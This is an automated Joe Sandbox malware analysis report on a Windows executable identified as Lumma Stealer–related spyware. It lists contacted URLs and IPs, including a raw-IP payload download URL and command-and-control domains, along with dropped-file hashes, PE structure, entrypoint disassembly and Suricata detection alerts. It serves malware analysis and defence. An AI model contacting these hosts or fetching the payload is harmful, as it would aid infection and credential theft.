https://steamcommunity.com/-int	20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071	20yLTIU4mS.exe	false	high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	20yLTIU4mS.exe, 00000000.00000003.2382269303.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/0	20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579664
Start date and time:	2024-12-23 07:14:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	20yLTIU4mS.exe renamed because original name is a hash value
Original Sample Name:	bf56486b61f1a99182f133ac8a3937e6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@11/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 20yLTIU4mS.exe, PID 3552 because there are no executed function
Execution Graph export aborted for target VVRXVZ2T118YVIGZN2.exe, PID 6020 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:15:33	API Interceptor	58x Sleep call for process: 20yLTIU4mS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	hAmnMk8afk.exe	Get hash	malicious	LummaC	Browse
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	hAmnMk8afk.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	23.44.201.28
	hAmnMk8afk.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
WHOLESALECONNECTIONSNL	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
CLOUDFLARENETUS	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	162.159.138.232
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
WHOLESALECONNECTIONSNL	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106
	hAmnMk8afk.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ARULVP7S24STX85EO46I8EXOL.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Download File

Process:	C:\Users\user\Desktop\20yLTIU4mS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe

Download File

Process:	C:\Users\user\Desktop\20yLTIU4mS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.523191625219232
Encrypted:	false
SSDEEP:	49152:bKyuErzV1Ja1FKhLCxJGv55SQ7Hq7IFi6TTHaP:+yuErJ1Ja1FKhK651zq7d+Li
MD5:	225AD75097A8A68691F54CA412436016
SHA1:	FF923EFC942D2DCAA09E606670D885A33ACA006F
SHA-256:	2C2BE79B1436A951AC0837E50A624FDDC1B2C704C4E1F95F9E0279639F726EDC
SHA-512:	2FDBB1228FCD916856A135C9A863403E643CF470AE342E6091E61804E0EF01F235AAD32EED2562644912EF0DE78E72FD0D8C5A4812C1A9AC4D25617F979F5999
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: Qsqi9KQXgy.exe, Detection: malicious, Browse Filename: uLkHEqZ3u3.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...pkmjmmvt.....$.....\|..............@...ypshbykv......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949032397312145
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	20yLTIU4mS.exe
File size:	1'840'128 bytes
MD5:	bf56486b61f1a99182f133ac8a3937e6
SHA1:	36df5535aa7ac556ae518109824e06c99ea99245
SHA256:	5fd0d95b773360005ba3a149d3f63e3998be1c1b78e91d17d03c79d2168bbb1e
SHA512:	45e3b6019f707bc53408fe1862df69446ed5be8934df97d0d92d6339ad55e9f4a8affbb831ee12305d4c9bed3098b3816f5fd450f70f1c2e1d0dff5ca34b05f5
SSDEEP:	49152:8twBlET1vspzlAFWVEtAvg/qzrImxzRh02h5wiqHP+:UwBlExvwa0EtAo/Dmpb7hfMm
TLSH:	318533027E625740F4F8BE73AD2B99AAFAD05E86841DDE0F8E5C14FD80DB2DBD145098
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@..........................@I.....$.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x891000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F882CBBDBAAh
pslld mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	07972d87dee9b0e6f2d2f227a6662a13	False	0.997418129280822	data	7.985055445795539	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a3000	0x200	d9ab4d1999ef3d61bfbeda7f4361005c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cgayxfzg	0x2f7000	0x199000	0x199000	46a2cea115ed421b51c2a4db56d6d0d7	False	0.9948199209199267	data	7.954843030921147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rvxmyzlm	0x490000	0x1000	0x400	f55f83de163f5eb5ada4105a42cb86d5	False	0.7939453125	data	6.282262000609742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x491000	0x3000	0x2200	525574303dc21688c9f377481eecfee8	False	0.06112132352941176	DOS executable (COM)	0.7008936335487236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:15:34.453834+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	59889	1.1.1.1	53	UDP
2024-12-23T07:15:34.601945+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	58412	1.1.1.1	53	UDP
2024-12-23T07:15:34.744855+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.5	50516	1.1.1.1	53	UDP
2024-12-23T07:15:34.886036+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.5	63582	1.1.1.1	53	UDP
2024-12-23T07:15:35.041266+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.5	60398	1.1.1.1	53	UDP
2024-12-23T07:15:35.182906+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.5	59400	1.1.1.1	53	UDP
2024-12-23T07:15:35.362178+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.5	50897	1.1.1.1	53	UDP
2024-12-23T07:15:35.533749+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.5	55976	1.1.1.1	53	UDP
2024-12-23T07:15:35.692197+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.5	52245	1.1.1.1	53	UDP
2024-12-23T07:15:37.377800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-23T07:15:38.244745+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-23T07:15:39.747896+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.66.86	443	TCP
2024-12-23T07:15:40.499088+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	104.21.66.86	443	TCP
2024-12-23T07:15:40.499088+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.66.86	443	TCP
2024-12-23T07:15:41.755196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.66.86	443	TCP
